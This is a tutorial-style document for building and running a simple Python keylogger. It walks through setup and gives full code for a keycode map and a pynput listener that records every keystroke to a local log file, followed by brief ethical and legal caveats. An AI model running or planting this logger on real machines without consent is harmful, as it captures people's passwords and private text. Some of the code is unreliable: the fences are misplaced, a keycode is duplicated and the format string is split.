

Keylogger Project Documentation

Overview:

This project demonstrates a basic keylogger implemented in Python. A keylogger is a type of surveillance software that has the capability to record every keystroke made by a user on their keyboard. This document provides a comprehensive guide to setting up, running, and understanding the keylogger.

1. Project Structure:

The project consists of two main Python files:

```
KeyloggerProject/  
    keycodes.py  
    keylogger.py
```

keycodes.py: Contains a dictionary mapping key codes to their respective names.

keylogger.py: Contains the main keylogger implementation that records keystrokes to a log file.

2. Prerequisites:

Before running the keylogger, ensure you have the following installed:

Python pycharm

pynput library

You can install the pynput library using pip:

- pip install pynput

3. Setup Instructions:

1. Create Project Structure:

Create a directory for the project and navigate into it.

- mkdir KeyloggerProject
- cd KeyloggerProject

2. Create keycodes.py:

Create a file named keycodes.py and add the following code:

```
# keycodes.py  
keys = {  
    27: 'KEY_ESC',  
    49: 'KEY_1',  
    50: 'KEY_2',  
    51: 'KEY_3',  
    52: 'KEY_4',  
    53: 'KEY_5',  
    54: 'KEY_6',  
    55: 'KEY_7',  
    56: 'KEY_8',
```

57: 'KEY_9',
48: 'KEY_0',
189: 'KEY_MINUS',
187: 'KEY_EQUAL',
8: 'KEY_BACKSPACE',
9: 'KEY_TAB',
81: 'KEY_Q',
87: 'KEY_W',
69: 'KEY_E',
82: 'KEY_R',
84: 'KEY_T',
89: 'KEY_Y',
85: 'KEY_U',
73: 'KEY_I',
79: 'KEY_O',
80: 'KEY_P',
219: 'KEY_LEFTBRACE',
221: 'KEY_RIGHTBRACE',
13: 'KEY_ENTER',
17: 'KEY_LEFTCTRL',
65: 'KEY_A',
83: 'KEY_S',
68: 'KEY_D',
70: 'KEY_F',
71: 'KEY_G',
72: 'KEY_H',
74: 'KEY_J',
75: 'KEY_K',
76: 'KEY_L',
186: 'KEY_SEMICOLON',
222: 'KEY_APOSTROPHE',
192: 'KEY_GRAVE',
16: 'KEY_LEFTSHIFT',
220: 'KEY_BACKSLASH',
90: 'KEY_Z',
88: 'KEY_X',
67: 'KEY_C',
86: 'KEY_V',
66: 'KEY_B',
78: 'KEY_N',
77: 'KEY_M',
188: 'KEY_COMMA',
190: 'KEY_DOT',
191: 'KEY_SLASH',
16: 'KEY_RIGHTSHIFT',
106: 'KEY_KPASTERISK',
18: 'KEY_LEFTALT',
32: 'KEY_SPACE',
20: 'KEY_CAPSLOCK',
112: 'KEY_F1',
113: 'KEY_F2',
114: 'KEY_F3',
115: 'KEY_F4',

```

116: 'KEY_F5',
117: 'KEY_F6',
118: 'KEY_F7',
119: 'KEY_F8',
120: 'KEY_F9',
121: 'KEY_F10',
144: 'KEY_NUMLOCK',
145: 'KEY_SCROLLLOCK',
36: 'KEY_HOME',
38: 'KEY_UP',
33: 'KEY_PAGEUP',
37: 'KEY_LEFT',
39: 'KEY_RIGHT',
35: 'KEY_END',
40: 'KEY_DOWN',
34: 'KEY_PAGEDOWN',
45: 'KEY_INSERT',
46: 'KEY_DELETE',
173: 'KEY_MUTE',
174: 'KEY_VOLUMEDOWN',
175: 'KEY_VOLUMEUP',
91: 'KEY_LEFTMETA',
92: 'KEY_RIGHTMETA',
93: 'KEY_COMPOSE'
}

```

3. Create keylogger.py:

Create a file named keylogger.py and add the following code:

```

# keylogger.py
import pynput
from pynput.keyboard import Key, Listener
import logging
from keycodes import keys

log_file = "keylog.txt"
logging.basicConfig(filename=log_file, level=logging.DEBUG, format='%(asctime)s:
%(message)s')

def on_press(key):
    try:
        logging.info(keys.get(key.vk, str(key)))
    except AttributeError:
        logging.info(f'Special key {key} pressed')

def on_release(key):
    if key == Key.esc:
        # Stop listener
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

```

4. Code Explanation

keycodes.py:

Contains a dictionary named keys which maps virtual key codes (vk) to their corresponding key names.

keylogger.py:

Imports necessary modules and the keys dictionary from keycodes.py.

Sets up logging configuration to write keystrokes to keylog.txt.

Defines on_press and on_release functions to handle key press and release events.

Uses pynput's Listener to listen for keyboard events and logs them.

5. Running the Keylogger:

Open Terminal:

Open your terminal and navigate to the directory containing your project.

- cd path/to/KeyloggerProject

Run the Keylogger Script:

Execute the following command to run the keylogger:

- python keylogger.py

View Logs:

While the keylogger script is running, it will log keystrokes to keylog.txt. You can view the log file using any text editor or the cat command:

- cat keylog.txt

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6. Ethical Considerations:

Legal Compliance: Ensure you have explicit consent from anyone whose keystrokes you intend to log. Unauthorized keylogging is illegal and unethical.

Usage: Use this keylogger responsibly and only for educational purposes or in environments where monitoring is legally permissible.

7. Security Notes:

Keyloggers can be used for malicious purposes. Always understand the security implications and ensure that the software is used ethically. Avoid running or distributing keyloggers without proper authorization.

8. Conclusion :

This document provides a complete guide to setting up and running a basic keylogger in Python. The keylogger records keystrokes to a log file for later review. Always remember to use such tools responsibly and ethically.